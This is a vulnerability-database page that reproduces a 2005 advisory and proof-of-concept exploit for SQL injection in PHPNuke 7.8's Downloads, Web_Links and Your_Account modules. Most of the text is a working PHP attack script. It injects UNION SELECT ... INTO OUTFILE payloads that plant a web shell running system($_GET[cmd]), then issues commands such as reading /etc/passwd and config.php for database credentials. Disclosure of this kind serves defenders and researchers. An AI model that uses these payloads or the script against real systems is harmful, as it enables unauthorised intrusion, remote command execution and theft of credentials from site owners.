Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline

phpnuke78sql.txt

🗓️ 26 Oct 2005 00:00:00Reported by rgodType 
packetstorm
 packetstorm🔗 packetstormsecurity.com👁 33 Views

PHPNuke 7.8 Security Vulnerabilitie

Show more

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`PHPNuke 7.8 with all security fixes/patches "Downloads", "Web_Links" & "Your_Account"  
SQL INjection -> remote commands execution poc exploit  
  
  
there are a lot of unsanitized vars in every module, as I can see, so  
if magic_quotes_gpc is Off -> SQL INJECTION  
  
1) you can go to "Your Account" and submit a username like this:  
  
' UNION SELECT '<?error_reporting(0);?>',0,0,0,0,0,0,0,'<?echo "Hi Master";ini_set("max_execution_time",0);system($_GET[cmd]);die;?>',0 INTO OUTFILE '../../WWW/PHPNUKE/shell.php' FROM nuke_users/*  
  
login field is too small to do it manually but you can see my poc below  
  
to create a shell.php file in a writable directory  
  
then launch commands:  
  
http://[target]/[path_to_shell]/shell.php?cmd=cat%20/etc/passwd  
  
2) the same in "Downloads" module:  
  
http://[target]/[path]/modules.php?name=Downloads&d_op=Add&url=[SQL]&title=what&description=what  
  
3) ... and in "Web_links" module:  
  
http://[target]/[path]/modules.php?name=Web_Links&l_op=Add&title=what&description=[SQL]&url=what  
  
  
I have not seen 7.9 version but it can be also vulnerable, try it on it,  
this is my poc exploit:  
  
  
  
<?php  
# 20.05 23/10/2005 #  
# #  
# ---phpnuke_78_xpl.php #  
# #  
# PHPNuke 7.8 with all security fixes/patches "Downloads","Web_Links" & #  
# "Your_Account" modules SQL Injection / remote commands execution exploit #  
# (yet not tested 7.9, but OK...) #  
# #  
# by rgod #  
# site: http://rgod.altervista.org #  
# #  
# make these changes in php.ini if you have troubles #  
# to launch this script: #  
# allow_call_time_pass_reference = on #  
# register_globals = on #  
# #  
# usage: customize for your own pleasure, launch this script from Apache, #  
# fill requested fields, then go! #  
# #  
# Sun-Tzu: "Standing on the defensive indicates insufficient strength; #  
# attacking, a superabundance of strength" #  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout", 2);  
ob_implicit_flush (1);  
  
echo'<html><head><title> PHPNuke 7.8 remote commands execution </title><meta  
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style  
type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;  
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img  
{background-color: #FFFFFF !important} input {background-color: #303030  
!important} option { background-color: #303030 !important} textarea  
{background-color: #303030 !important} input {color: #1CB081 !important} option  
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox  
{background-color: #303030 !important} select {font-weight: normal; color:  
#1CB081; background-color: #303030;} body {font-size: 8pt !important;  
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:  
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em  
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em  
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em  
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:  
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited  
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;  
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-weight:bold; font-style: italic;}--></style></head> <body> <p class="Stile6">  
PHPNuke 7.8 (possibly prior versions) remote commands execution</p><p class="  
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">  
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form  
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=  
value&port=value&command=value&proxy=value"><p><input type="text" name="host">  
<span class="Stile5">hostname (ex: www.sitename.com) </span> </p> <p> <input  
type="text" name="path"><span class="Stile5"> path ( ex: /phpnuke/ or just /)  
</span></p><p> <input type="text" name="pathtoWWW"><span class="Stile5"> path  
to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement  
(default: ../../www) </span></p><p><input type="text" name="port" > <span  
class="Stile5"> specify a port other than 80 (default value)</span> </p><p>  
<input type="text" name="command"> <span class="Stile5">a Unix command ,  
example: ls -la to list directories, cat /etc/passwd to show passwd file, cat  
config.php to see database username and password</span>  
</p><p><input type="text" name="proxy"><span class="Stile5">send exploit through  
an HTTP proxy (ip:port)</span></p><p><input type="submit"name="Submit"  
value="go!"></p></form></td></tr></table></body></html>';  
  
function show($headeri)  
{  
$ii=0;  
$ji=0;  
$ki=0;  
$ci=0;  
echo '<table border="0"><tr>';  
while ($ii <= strlen($headeri)-1)  
{  
$datai=dechex(ord($headeri[$ii]));  
if ($ji==16) {  
$ji=0;  
$ci++;  
echo "<td>&nbsp;&nbsp;</td>";  
for ($li=0; $li<=15; $li++)  
{ echo "<td>".$headeri[$li+$ki]."</td>";  
}  
$ki=$ki+16;  
echo "</tr><tr>";  
}  
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else  
{echo "<td>".$datai."</td> ";}  
$ii++;  
$ji++;  
}  
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)  
{ echo "<td>&nbsp&nbsp</td>";  
}  
  
for ($li=$ci*16; $li<=strlen($headeri); $li++)  
{ echo "<td>".$headeri[$li]."</td>";  
}  
echo "</tr></table>";  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load  
//next function to send packets  
{  
global $proxy, $host, $port, $packet, $html, $proxy_regex;  
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
if ($socket < 0) {  
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";  
}  
else  
{  
echo "OK.<br>";  
echo "Attempting to connect to ".$host." on port ".$port."...<br>";  
if ($proxy=='')  
{  
$result = socket_connect($socket, $host, $port);  
}  
else  
{  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {echo 'Not a valid prozy...';  
die;  
}  
$parts =explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$result = socket_connect($socket, $parts[0],$parts[1]);  
}  
if ($result < 0) {  
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";  
}  
else  
{  
echo "OK.<br><br>";  
$html= '';  
socket_write($socket, $packet, strlen($packet));  
echo "Reading response:<br>";  
while ($out= socket_read($socket, 2048)) {$html.=$out;}  
echo nl2br(htmlentities($html));  
echo "Closing socket...";  
socket_close($socket);  
  
}  
}  
}  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='')  
{$ock=fsockopen($host,$port);}  
else  
{  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {echo 'Not a valid prozy...';  
die;  
}  
$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) { echo 'No response from proxy...';  
die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='')  
{  
  
$html='';  
while (!feof($ock))  
{  
$html.=fgets($ock);  
}  
}  
else  
{  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))  
{  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
echo nl2br(htmlentities($html));  
}  
  
function execute_commands()  
{  
global $p, $host, $port, $packet, $command, $html;  
$packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";  
$packet.="Host: ".$host.":".$port."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
sendpacketii($packet);  
if (eregi("Hi Master", $html)) {echo "Exploit succeeded..."; die; }  
}  
  
  
if (($host<>'') and ($path<>'') and ($command<>''))  
{  
$port=intval(trim($port));  
if ($port=='') {$port=80;}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($pathtoWWW=='') {$pathtoWWW="../../www";}  
#default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for  
#different Apache installations  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
echo $proxy;  
# STEP 1 -> SQL injection in "Your_Account" module... inject a shell  
$SQL="'UNION SELECT '<?error_reporting(0);?>',0,0,0,0,0,0,0,'<?echo \"Hi Master\";ini_set(\"max_execution_time\",0);system(\$_GET[cmd]);die;?>',0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_users/*";  
$data="username=".urlencode($SQL)."&user_password=&redirect=&mode=&f=&t=&op=login";  
$packet="POST ".$p."modules.php?name=Your_Account HTTP/1.1\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";  
$packet.="Referer: http://".$host.":".$port.$path."modules.php?name=Your_Account\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: text/plain\r\n";  
$packet.="User-Agent: Lycos_Spider_(T-Rex)\r\n";  
$packet.="Host: ".$host.":".$port."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n";  
$packet.="Cookie: lang=english\r\n\r\n";  
$packet.=$data;  
show($packet);  
sendpacketii($packet);  
execute_commands();  
  
  
#STEP 2 -> if STEP 1 failed, SQL Injection in "Downloads" module...  
//we need to use backticks (shell operators, they are not quotes, some chars like ")" are not permitted in urls...  
$SQL="' UNION SELECT '<?echo \'Hi Master\';print `\$_GET[cmd]`;?>' INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_downloads_downloads/*";  
$packet="GET ".$p."modules.php?name=Downloads&d_op=Add&url=".urlencode($SQL)."&title=what&description=what HTTP/1.1\r\n";  
$packet.="User-Agent: SearchExpress Spider0.99\r\n";  
$packet.="Host: ".$host.":".$port."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
sendpacketii($packet);  
execute_commands();  
  
#STEP 3 -> if STEP 1 & 2 failed, SQL injection in "Web_Links" module...  
$SQL="' or 'x'='x' UNION SELECT 0,0,0,0,0,0,'Hi Master<?print `\$_GET[cmd]`;?>',0,0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_links_newlink/*";  
$packet="GET ".$p."modules.php?name=Web_Links&l_op=Add&title=what&description=".urlencode($SQL)."&url=what HTTP/1.1\r\n";  
$packet.="User-Agent: Web Link Validator 1.5\r\n";  
$packet.="Host: ".$host.":".$port."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
sendpacketii($packet);  
execute_commands();  
  
//if you are here...  
echo 'Exploit failed...';  
}  
else  
{echo 'Fill in requested fields, optionally specify a proxy';}  
?>  
  
rgod  
site: http://rgod.altervista.org  
mail: retrogod at aliceposta.it  
original advisory: http://rgod.altervista.org/phpnuke78sql.html  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
26 Oct 2005 00:00Current
7.4High risk
Vulners AI Score7.4
phpnukesecuritysql injectionremote commands executionpatchesmodulesphpapache
33
.json
Report